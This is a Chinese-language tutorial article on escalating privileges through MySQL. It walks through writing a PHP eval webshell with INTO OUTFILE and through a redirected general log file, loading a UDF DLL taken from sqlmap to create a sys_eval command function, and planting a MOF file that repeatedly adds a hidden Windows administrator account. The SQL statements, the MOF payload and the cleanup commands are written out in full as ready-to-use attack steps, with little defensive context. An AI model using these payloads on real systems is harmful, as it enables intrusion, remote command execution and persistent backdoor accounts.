value | 說明 |
---|---|
NULL | 不允許導入或導出 |
/var | 只允許在/var目錄導入導出 |
空 | 不限制目錄 |
在 MySQL 5.5 之前 secure_file_priv 默認是空,這個情況下可以向任意絕對路徑寫文件
在 MySQL 5.5之后 secure_file_priv 默認是 NULL,這個情況下不可以寫文件
如果滿足上述所有條件的話,那么可以嘗試使用下面的 SQL 語句來直接寫 shell:
select '?php @eval($_POST[cmd]); ?>' into outfile 'C:\\soft\\WWW\\empirecms\\shell.php';
查看目標路徑下,已寫入shell.php文件
上菜刀連接
前提條件:
1、Web 文件夾寬松權限可以寫入
2、Windows 系統下
3、高權限運行 MySQL 或者 Apache
MySQL 5.0 版本以上會創建日志文件,可以通過修改日志的全局變量來 getshell
查看日志目錄
SHOW VARIABLES LIKE 'general%';
general_log 默認關閉,開啟它可以記錄用戶輸入的每條命令,會把其保存在對應的日志文件中。
可以嘗試自定義日志文件,并向日志文件里面寫入內容的話,那么就可以成功 getshell:
更改日志文件位置
set global general_log = "ON"; set global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';
查看當前日志配置
目標目錄下查看,寫入了log.php文件
寫入shell
select '?php @eval($_POST[cmd]); ?>'
上菜刀,連接
自定義函數,是數據庫功能的一種擴展。用戶通過自定義函數可以實現在 MySQL 中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像調用本機函數 version() 等方便。
動態鏈接庫
如果是 MySQL >= 5.1 的版本,必須把 UDF 的動態鏈接庫文件放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下文件夾下才能創建自定義函數。
那么動態鏈接庫文件去哪里找呢?實際上我們常用的工具 sqlmap 和 Metasploit 里面都自帶了對應系統的動態鏈接庫文件。
sqlmap的UDF動態鏈接庫文件位置
sqlmap根目錄/data/udf/mysql
不過 sqlmap 中 自帶這些動態鏈接庫為了防止被誤殺都經過編碼處理過,不能被直接使用。不過可以利用 sqlmap 自帶的解碼工具cloak.py 來解碼使用,cloak.py 的位置為:sqlmap根目錄/extra/cloak/cloak.py ,
解碼方法如下:
解碼32位的windows動態鏈接庫:
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
其他linux和windows動態鏈接庫解碼類似
或者直接使用metasploit自帶的動態鏈接庫,無需解碼
Metasploit的UDF動態鏈接庫文件位置
接下來的任務是把 UDF 的動態鏈接庫文件放到 MySQL 的插件目錄下,這個目錄改如何去尋找呢?可以使用如下的 SQL 語句來查詢:
show variables like '%plugin%'
寫入動態鏈接庫
當 secure_file_priv 無限制的時候,我們可以手工寫文件到 plugin 目錄下的
select load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') into dumpfile 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';
c
創建自定義函數并調用命令
創建自定義函數
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
查看是否新增了sys_eval
接著就可以通過創建的這個函數來執行系統命令了:
刪除自定義函數
drop function sys_eval;
mof提權原理
關于 mof 提權的原理其實很簡單,就是利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 文件,每分鐘都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行。
嚴苛的前提條件:
1.windows 03及以下版本
2.mysql啟動身份具有權限去讀寫c:/windows/system32/wbem/mof目錄
3.secure-file-priv參數不為null
提權過程:
MOF文件每五秒就會執行,而且是系統權限,我們通過mysql使用load_file 將文件寫入/wbme/mof,然后系統每隔五秒就會執行一次我們上傳的MOF。MOF當中有一段是vbs腳本,我們可以通過控制這段vbs腳本的內容讓系統執行命令,進行提權。
利用代碼如下(test.mof):
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
MOF文件利用:
將上面的腳本上傳到有讀寫權限的目錄下:
這里我上傳到了C:\soft\,我們使用sql語句將文件導入到c:/windows/system32/wbem/mof/下
select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
驗證提權:
當我們成功把mof導出時,mof就會直接被執行,且5秒創建一次用戶。
關于MOF提權弊端
我們提權成功后,就算被刪號,mof也會在五秒內將原賬號重建,那么這給我們退出測試造成了很大的困擾,所以謹慎使用。那么我們如何刪掉我們的入侵賬號呢?
cmd 下運行下面語句:
#停止winmgmt服務 net stop winmgmt #刪除 Repository 文件夾 rmdir /s /q C:\Windows\system32\wbem\Repository\ # 手動刪除 mof 文件 del c:/windows/system32/wbem/mof/nullevt.mof /F /S # 刪除創建的用戶 net user hpdoger /delete #重啟服務 net start winmgmt
到此這篇關于Mysql提權姿勢的文章就介紹到這了,更多相關Mysql提權姿勢內容請搜索腳本之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持腳本之家!
下一篇:淺談mysql join底層原理